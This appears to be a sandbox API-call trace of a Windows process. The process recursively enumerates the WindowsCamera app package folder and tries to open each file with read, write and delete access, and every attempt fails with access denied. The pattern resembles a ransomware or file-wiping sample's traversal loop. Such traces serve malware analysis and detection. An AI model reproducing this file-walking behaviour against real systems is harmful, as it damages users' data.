	[0082.641] wcscpy (in: _Dest=0x4773630, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0082.641] wcscat (in: _Dest=0x4773630, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0082.641] wcscat (in: _Dest=0x4773630, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\*"
	[0082.641] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ac68
	[0082.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\*", lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92a96d25, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8318
	[0082.642] wcscmp (_String1=".", _String2=".") returned 0
	[0082.642] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92a96d25, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf0ee0a7b, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf0ee0a7b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.642] wcscmp (_String1="..", _String2=".") returned 1
	[0082.643] wcscmp (_String1="..", _String2="..") returned 0
	[0082.643] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abcf83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92abcf83, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92abcf83, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xdd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.643] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.643] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.643] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4766910
	[0082.643] wcscpy (in: _Dest=0x4766910, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0082.643] wcscat (in: _Dest=0x4766910, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0082.643] wcscat (in: _Dest=0x4766910, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.294] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.294] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.294] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.295] GetLastError () returned 0x5
	[0090.295] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766910) returned 1
	[0090.295] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92a96d25, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92a96d25, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92a96d25, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.295] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.295] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776e60
	[0090.295] wcscpy (in: _Dest=0x4776e60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0090.295] wcscat (in: _Dest=0x4776e60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0090.295] wcscat (in: _Dest=0x4776e60, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.295] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.297] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.298] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.298] GetLastError () returned 0x5
	[0090.298] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.298] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776e60) returned 1
	[0090.298] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abcf83, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92ae31dc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92ae31dc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2971, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.298] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.298] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.298] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776b60
	[0090.298] wcscpy (in: _Dest=0x4776b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0090.298] wcscat (in: _Dest=0x4776b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0090.298] wcscat (in: _Dest=0x4776b60, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.298] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.298] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.298] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.299] GetLastError () returned 0x5
	[0090.299] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.299] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0090.299] FindNextFileW (in: hFindFile=0x46a8318, lpFindFileData=0x502ac68 | out: lpFindFileData=0x502ac68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb196874e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92ae31dc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.299] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.299] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.299] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e33f58
	[0090.299] wcscpy (in: _Dest=0x4e33f58, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe"
	[0090.299] wcscat (in: _Dest=0x4e33f58, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\"
	[0090.299] wcscat (in: _Dest=0x4e33f58, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.299] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491d8f8
	[0090.299] wcscpy (in: _Dest=0x491d8f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.299] wcscat (in: _Dest=0x491d8f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.299] wcscat (in: _Dest=0x491d8f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*"
	[0090.299] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0090.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb196874e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92ae31dc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a7a8
	[0090.299] wcscmp (_String1=".", _String2=".") returned 0
	[0090.299] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb196874e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92ae31dc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.299] wcscmp (_String1="..", _String2=".") returned 1
	[0090.299] wcscmp (_String1="..", _String2="..") returned 0
	[0090.299] FindNextFileW (in: hFindFile=0x477a7a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1a4790e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92d27c4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsIcons", cAlternateFileName="WINDOW~1")) returned 1
	[0090.299] wcscmp (_String1="WindowsIcons", _String2=".") returned 1
	[0090.299] wcscmp (_String1="WindowsIcons", _String2="..") returned 1
	[0090.299] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5028320
	[0090.300] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets"
	[0090.300] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\"
	[0090.300] wcscat (in: _Dest=0x5028320, _Source="WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026958
	[0090.300] wcscpy (in: _Dest=0x5026958, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.300] wcscat (in: _Dest=0x5026958, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.300] wcscat (in: _Dest=0x5026958, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\*"
	[0090.300] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0090.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1a4790e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92d27c4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a828
	[0090.303] wcscmp (_String1=".", _String2=".") returned 0
	[0090.303] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1a4790e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92d27c4b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.303] wcscmp (_String1="..", _String2=".") returned 1
	[0090.303] wcscmp (_String1="..", _String2="..") returned 0
	[0090.303] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92ae31dc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92ae31dc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraAppList.contrast-black_scale-200.png", cAlternateFileName="")) returned 1
	[0090.303] wcscmp (_String1="WindowsCameraAppList.contrast-black_scale-200.png", _String2=".") returned 1
	[0090.303] wcscmp (_String1="WindowsCameraAppList.contrast-black_scale-200.png", _String2="..") returned 1
	[0090.303] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2d883a8
	[0090.303] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.304] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.304] wcscat (in: _Dest=0x2d883a8, _Source="WindowsCameraAppList.contrast-black_scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-200.png"
	[0090.304] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-black_scale-200.png")) returned 0x20
	[0090.307] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.307] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-black_scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.308] GetLastError () returned 0x5
	[0090.308] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-200_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.308] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.308] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92ae31dc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x92ae31dc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x92ae31dc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraAppList.contrast-white_scale-200.png", cAlternateFileName="")) returned 1
	[0090.308] wcscmp (_String1="WindowsCameraAppList.contrast-white_scale-200.png", _String2=".") returned 1
	[0090.308] wcscmp (_String1="WindowsCameraAppList.contrast-white_scale-200.png", _String2="..") returned 1
	[0090.308] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e33ed0
